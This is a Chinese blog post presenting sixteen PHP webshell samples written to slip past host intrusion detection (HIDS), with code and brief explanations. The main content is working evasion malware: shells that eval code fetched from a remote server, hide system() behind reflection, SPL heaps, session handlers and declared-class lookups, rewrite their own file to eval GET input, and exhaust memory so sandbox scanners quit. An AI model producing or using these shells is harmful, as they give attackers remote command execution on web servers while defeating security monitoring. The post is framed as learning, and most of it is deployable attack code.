首页 > 系统相关 >记一次学习--HIDS-phpwebshell绕过

记一次学习--HIDS-phpwebshell绕过

时间:2024-09-03 10:20:54浏览次数:6  
标签:insert get -- 样本 echo 55 HIDS getMessage phpwebshell

目录

第一个样本

代码分析

结果

第二个样本

代码分析

结果

第三个样本

 结果

第四个样本

结果

 第五个样本

结果

第六个样本

结果

 第七个样本

结果

第八个样本(通过session绕过)

第九个样本

第十个样本

第十一个样本(自己改变自己)

第十二个样本

结果

第十三个样本(优先队列排序)

第十四个样本(内存不足)

原理 

​编辑

结果

第十五个样本

结果

第十六个样本

结果


不断学习,保持谦虚

第一个样本

<?php
$url="http://172.24.200.12/test/1.txt";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
eval($output);
system(whoami);

代码分析

这个样本是将1.txt的内容返回回来让eval执行

CURLOPT_URL: 设置要请求的 URL。
CURLOPT_SSL_VERIFYPEER: 禁用 SSL 证书验证。通常不建议这样做,因为这会降低安全性。
CURLOPT_SSL_VERIFYHOST: 禁用主机名验证。这也会降低安全性。
CURLOPT_RETURNTRANSFER: 设置 cURL 将结果返回为字符串,而不是直接输出。
CURLOPT_HTTPHEADER: 设置 HTTP 头。$headerArray 变量应该是一个包含 HTTP 头的数组,但在这段代码中没有提供具体的定义。

$output = curl_exec($ch);
curl_exec() 函数执行 cURL 会话,获取请求的结果并将其存储在 $output 变量中。
curl_close($ch);

结果

第二个样本

<?php
get_meta_tags("http://172.24.200.12/test/1.html")["author"](get_meta_tags("http://172.24.200.12test/1.html")["
keywords"]);
?>

1.txt

<!DOCTYPE html>
<html lang="en">
<head>
    <meta name="author" content="system">
<meta name="keywords" content="ls">
    <title>Document</title>
</head>
<body>
     
</body>
</html>

代码分析

结果

第三个样本

<?php
foreach(fpm_get_status()["procs"] as $val){
 system($val["query-string"]);
}

fpm_get_status() 是一个 PHP 函数,用于获取 PHP-FPM(FastCGI Process Manager)的状态信息。这个函数返回一个包含当前 PHP-FPM 状态的数组。这个数组通常包含有关当前进程的信息,如进程 ID、状态、请求等。

fpm_get_status打印如下,其中query-string是我们的老朋友了,他的值就是get传参的键值对

然后你在执行的时候可能是不同的进程,也就是你所在的数组可能是数组0也可能是数组1.所以在上面样本我们进行了一个for循环,循环出来就可以百分百执行命令

 结果

执行一些有空格的命令,那就抓包把里面的空格编码后的+再变成空格

第四个样本

<?php
$m=($GLOBALS[GLOBALS]*n[GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS
][_GET][b]);
substr(timezone_version_get(),2)($m);

 这里通过$GLOBALS来传递命令,$GLOBALS打印如下,递归多次是因为HIDS对于递归的检测有点不足

通过timezone_version_get来获取system,timezone_version_get再php-fpm+nginx+linux下是如下值,其他环境有待测试

然后就可以执行了

结果

 第五个样本

<?php
$b = "111";
$c = "222";
if(get_cfg_var('error_reporting')>0){
 $b="#";
}
$a = array( "one"=>$c,"two"=>&$c );
$url = "http://172.24.200.12".$b."?a=1";
$d =parse_url($url);
if($d['query']){
 $c="echo 111;";
}
else{
 $c=$_FILES['useraccount']['name'];
}
var_dump($a["two"]);
eval($a["two"]);
?>

get_cfg_var

parse_url

这个样本他最终是要执行eval。我们反着推导一下。要执行eval就要$a有值。要$a有值就要$c有值。$c有值就不可以进入这里,不然a的赋值就不对了。那样就需要$d的中query没有值才符合要求。经过测试$b=#的时候$d['query']为空。所以需要('error_reporting')>0也就是下面这一块

然后我们就需要构造一下

这个地方就可以绕过了,首席按准备一个文件上传的html,且属性为useraccount

然后上传文件,修改对应地方的值,成功绕过(这里paython写多了老是忘记php后面的;,调试了很久)

结果

第六个样本

<?php
$s= 
unserialize('a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}');
$c = "123";
$arr= get_declared_classes();
$i=0;
for($i;$i<count($arr);$i++){
 $i++;
 $s[1]->a=$_GET['a'];
 if($i<97 || $i>=98){
 continue;
 }
 $c=$s[0]->a;
 print(substr(get_declared_classes()[70],4,6)($c));
}
?>

先解释一下上面序列化的内容

有两个数组第一个数组是一个对象对象名字8个字符然后对象里面有个字符串a,然后第二个元素是引用前面的内容,第二个数组 ($s[1]) 的改变会影响第一个数组 ($s[0])。这是因为 $s[1] 是对 $s[0] 的引用(使用 r:2 表示),所以对 $s[1] 的任何修改也会反映到 $s[0] 上。这里干扰了HIDS。

get_declared_classes解释

 我们打印看一下get_declared_classes的值,我们发现在这里由system,然后我们可以使用substr截取出system

结果

 第七个样本

<?php
trait system{
}
$a= new JsonException($_GET['a']);
$c = "123";
$arr= getmygid();
$i=0;
for($i;$i<$arr;$i++){
 $i++;
//这里i的值和你的问价所属组有关系建议打印后在作判断
 if($i<32 || $i>33){
 continue;
 }
 $c=$a->getMessage();
 print(get_declared_traits()[0]($c));
}

getmyid

JsonException(不止JsonException支持getMessage方法,如果JsonException被禁用了可以尝试使用别的类)

get_declared_traits 将会获取到系统中已定义的 trait,因此获取到的函数名称为 system,而 JsonException ->getMessage() 能够将已储存的 Message 信息显示出来,这里如此初始化:$a= new JsonException($_GET['a']); 就可以绕过HIDS。

结果

第八个样本(通过session绕过)

<?php
$b = "111";
$c = "222";
session_start();

$a = array( "one"=>$c,"two"=>&$c );
$url = "http://a/usr/".$_SESSION['a']."?a=1";
$d =parse_url($url);
if($d['query']){
 $c="echo 111;";
}
else{
 $c=$_FILES['useraccount']['name'];
}
var_dump($a["two"]);
eval($a["two"]);
//这里的$_SESSION只要session_start一开启$_SESSION就会执行。
$_SESSION['a']="#";
?>

这里通过session来获取传递内容,其原理和第五个样本基本相同这里不做演示

第九个样本

<?php
ini_set("display_errors",1);
class MySessionHandler implements SessionHandlerInterface
{
 // implement interfaces here
 public function close()
 {
 // TODO: Implement close() method.
 }
 public function destroy($id)
 {
 // TODO: Implement destroy() method.
 }
 public function gc($max_lifetime)
 {
 // TODO: Implement gc() method.
 }
 public function open($path, $name)
 {
 $path($name);
 }
 public function read($id)
 {
 // TODO: Implement read() method.
 }
 public function write($id, $data)
 {
 // TODO: Implement write() method.
 }
}
$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_name($_GET[a]);
session_save_path('system');
session_start();

这里是码定义了一个自定义会话处理类,并设置为 PHP 的会话处理器。

这个代码在这里执行,然后$path和$name是我们传递的。然后就可以执行了

第十个样本

<?php
$a = new SplTempFileObject(1000000);
$a->fwrite( $_GET['a']);
$a->rewind();
substr(get_declared_classes()[70],4,6)($a->fgets());
//fgets() 从临时文件中读取一行数据。
?>
$a = new SplTempFileObject(1000000);

这行代码创建了一个临时文件对象 $a,其最大容量为 1000000 字节。SplTempFileObject 是一个 PHP 内置类,提供了对临时文件的操作接口。创建时传递的参数定义了文件的最大大小(以字节为单位)。

$a->rewind();

rewind() 方法将文件指针移动到文件的开头。这对于后续读取操作是必要的,因为数据已经写入到临时文件中,而现在我们需要从文件的开头读取数据。

第十一个样本(自己改变自己)

<?php
$s="Declaring file object\n";
$d=$_SERVER['DOCUMENT_ROOT'].$_SERVER['DOCUMENT_URI'];
$file = new SplFileObject($d,'w');
$file->fwrite("<?php"." eva".$s[3]);
$file->fwrite("(\$_"."GET"."[a]);?>");
include(get_included_files()[0]);
?>

使用 SplFileObject 创建一个文件对象 $file,并以写入模式 ('w') 打开文件。然后$file使用fwrite写入代码,如下代码执行过后被修改。然后使用include直接包含

第十二个样本

<?php
$obj=new SplMaxHeap();
$obj->insert( $_GET[a] );
$obj->insert( 8 );
$obj->insert( 'system' );
$obj->insert( 7 );
$obj->insert( 0 );
//$obj->recoverFromCorruption();
$i=0;
foreach( $obj as $number ) {
 $i++;
 if($i==1) {
 $a = $number;
 }
 if($i==2) {
 $b = $number;
 }
}
$a($b);

 提取插入过后obj变量的值,后命令执行,这里需要理解堆排序的原理,然后根据原理来选出$a和$b对应的值

结果

第十三个样本(优先队列排序)

<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',7);
$objPQ->insert('e',3);
$objPQ->insert('s',5);
$objPQ->insert('y',6);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
 $m.=$objPQ->current();
 $objPQ->next();
}
echo $m($cur->getMessage());
?>

 和第十二个差不多

当a等于4的时候$m可以拼成system函数,然后通过getMessage取出$_GET[b]

第十四个样本(内存不足)

<?php
ini_set("display_errors",1);
class b extends SplObjectStorage {
//SplObjectStorage 是 PHP 的一个 SPL(标准PHP库)类,用于存储对象,并允许对对象进行操作和管理
 public function getHash($o) {
 return get_class($o);
 }
}
$cur= new DomainException($_GET[a]);
//老朋友了传入message
?>
 111111111111111111111111111111111111111111111111
<?php
ini_set("display_errors",1);
ini_set("memory_limit","100G");
ini_set("memory_limit","100G");
 //将 PHP 的内存限制设置为 100 GB。这可以让脚本使用更多内存,但在实际应用中,设置如此大的内存限制是不常见的,并且可能会对服务器造成影响。
echo memory_get_usage().'<br>';
$var = str_repeat("php7_do9gy", 100000000);
//使用 str_repeat() 函数生成一个非常大的字符串,并将其赋值给 $var。这个操作会消耗大量内存,大概1G
echo memory_get_usage();
class bb{}?>
 111111111111111111111111111111111111111111111111
<?php
ini_set("display_errors",1);
class A {}
$s = new b;
$o2 = new stdClass;
$s[$o2] = 'system';
//these are considered equal to the objects before
//so they can be used to access the values stored under them
$p1 = new stdClass;
echo $s[$p1]($cur->getMessage());
?>

原理 

 查杀引擎的动态执行需要消耗内存空间,由于同一时间处理的样本 很多,因此单独给每个沙箱环境分配的内存往往不会太多,如果构造一个样本,能够让查杀引擎由于内存不足提前终止查杀,而在真实环境中内存可以满足执行需要,就能够执行到恶意的代码了,恰好 PHP 的内存申请是可以通过 php_ini 在运行时动态修改的。

动态查杀引擎在这里会内存不足,程序会在这里退出,但是真实环境可以满足执行需要

结果

第十五个样本

<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{
 echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
foreach ($function->getParameters() as $param) {
 $da = new DateTime();
 echo $da->getTimestamp();
 echo 'Name: ' . $param->getName() . PHP_EOL;
 $n='F';
 if ($param->isOptional()) {
 if($da->getTimestamp()>=1725329100||$n='1'){
 echo $n;
 }
 echo 'Default value: ' . 
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());
 }
 echo PHP_EOL;
}
?>

这里利用getTimestamp,再结合反射技巧

function foo($test, $bar = FSYSTEM): 定义一个函数 foo,接收两个参数 $test$bar,其中 $bar 有一个默认值 FSYSTEM。注意,这里的 FSYSTEM 应该是一个常量或类常量。

$function->getParameters(): 获取 foo 函数的参数列表,返回一个包含 ReflectionParameter 对象的数组。

if ($param->isOptional())检查参数是否可选

getParameters()ReflectionFunctionReflectionMethod 对象的一个方法,用于返回该函数或方法的参数列表。它返回一个 ReflectionParameter 对象的数组,每个对象表示一个参数的详细信息。你可以通过这些 ReflectionParameter 对象获取关于参数的名称、类型、默认值以及是否是可选的等信息。

ltrim($param->getDefaultValueConstantName(),$n): 从参数的默认值常量名中去掉前导的 $n

结果

第十六个样本

<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{
 echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
$p = new ParseError($_SERVER[HTTP_A]);
foreach ($function->getParameters() as $param) {
 $da = new DateTime();
 echo $da->getTimestamp();
 echo 'Name: ' . $param->getName() . PHP_EOL;
 $n='F';
 if ($param->isOptional()) {
 if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){
 echo $n;
 }
 echo 'Default value: ' . 
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());
 }
 echo PHP_EOL;
}
?>

 if(mt_rand(55,$p->getMessage()??100)==55||$n='1')

生成一个 55 到 $p->getMessage() 或 100 之间的随机数。如果随机数等于 55 或 $n 被设置为 '1',则输出 $n

我们可以在$_SERVER[HTTP_A]传一个55,在这里mt_rand(55,$p->getMessage()就是55到55之间必选55

$_SERVER可以获取请求头部的信息,这里抓包添加一个HTTP_A的头部

结果

标签:insert,get,--,样本,echo,55,HIDS,getMessage,phpwebshell
From: https://blog.csdn.net/banliyaoguai/article/details/141815283

相关文章

  • 3分钟了解CDN
    CDNCDN的全称是ContentDeliveryNetwork,即内容分发网络。CDN的全称是ContentDeliveryNetwork,即内容分发网络CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥......
  • 新手朋友在安装pbootcms经常遇到一些错误(PbootCMS 常见问题及解决方法)
    Parseerror:syntaxerror,unexpected':',expecting'{'问题描述:在 www\core\function\handle.php 文件第130行出现了语法错误,提示意外的冒号。原因分析:此错误通常出现在尝试在较旧的PHP版本上运行需要PHP7.x或更高版本的代码时。PHP7引入了一些新的语法特性,......
  • 10 Python面向对象编程:类和对象以及和Java的对比
    本篇是Python系列教程第10篇,更多内容敬请访问我的Python合集这里只介绍类和对象,self、属性、方法、访问控制、类继承、方法重写在后面的文章里介绍在Python中,类和对象是面向对象编程的基础。1类的概念类是一种创建对象的蓝图或模板。它定义了一组属性(变量)和方法(函......
  • uniapp手机端页面滚动到最底部
    最近用uniapp开发一个类似于微信聊天功能的手机端软件,在进入聊天页面时要求页面滚动到最底部,刚开始使用了下面的代码:uni.createSelectorQuery().select("自己的容器.box").boundingClientRect((res)=>{console.log(res)constscrollH=res.top;uni.pageSc......
  • 如何修改PbootCMS默认面包屑导航样式及自定义设置方法(如何自定义 PbootCMS 的面包屑导
    在PbootCMS中,面包屑导航是一个非常重要的导航元素,用于帮助用户了解当前页面的位置和路径。系统默认的面包屑样式可能无法满足所有需求,因此需要进行一定的自定义操作。以下是详细的自定义方法:调用面包屑导航的基本方式html {pboot:position}自定义面包屑导航参数可以......
  • Go 必知必会:探索 Go 语言中的数组和切片深入理解顺序集合
    文末有面经共享群在Go语言的丰富数据类型中,数组和切片是处理有序数据集合的强大工具,它们允许开发者以连续的内存块来存储和管理相同类型的多个元素。无论是在处理大量数据时的性能优化,还是在实现算法时对数据结构的需求,数组和切片都扮演着至关重要的角色。Go语言中的数组在......
  • 11 Python面向对象编程:三大特性,封装、继承、多态
    本篇是Python系列教程第11篇,更多内容敬请访问我的Python合集1封装封装就是把类的公有属性改成私有属性,并且提供对外访问的方法。示例classMyClass:def__init__(self,value):self.__value=valuedefget_value(self):returnself.__......
  • PostgreSQL的安装与配置(包含多种可能遇到的报错或者无法安装问题)
    1.Windows安装1.官网下载安装包,EDB:Open-Source,EnterprisePostgresDatabaseManagement(enterprisedb.com) 2.按照提示步骤进行安装(文件路径很重要!!!)这是PostgreSQL的安装目录(自定义目录安装的一定要命名清楚,不要和后面的data混淆) 这个全选这个是存储数据的目录(不......
  • P9108 [PA2020] Malowanie płotu
    题意:给定\(n,m\),一个区间序列\(\{[L_1,R_1],[L_2,R_2],\cdots,[L_n,R_n]\}\)被称为好的当且仅当:\(\foralli\in[1,n],1\leL_i\leR_i\lem\)。\(\foralli\in[1,n-1],[L_i,R_i]\cup[L_{i+1},R_{i+1}]\ne\emptyset\)。输出好的序列个数对给定质数\(p\)......
  • 福州大学第19届206智能车队摄像头培训 三、帧率和快门时间
    原文于2023.10.25发布于本人CSDN主页,现同步至cnblogs1.摄像头帧率某天看了学弟学妹们练习PID编写的程序,为了降低串口通信的频率在intmain()while(1)内用了delay函数。实际上在未来实际应用中是不可取的。在平时的单片机工程中,delay函数只会暂停主函数中的程序,不会影响定时器......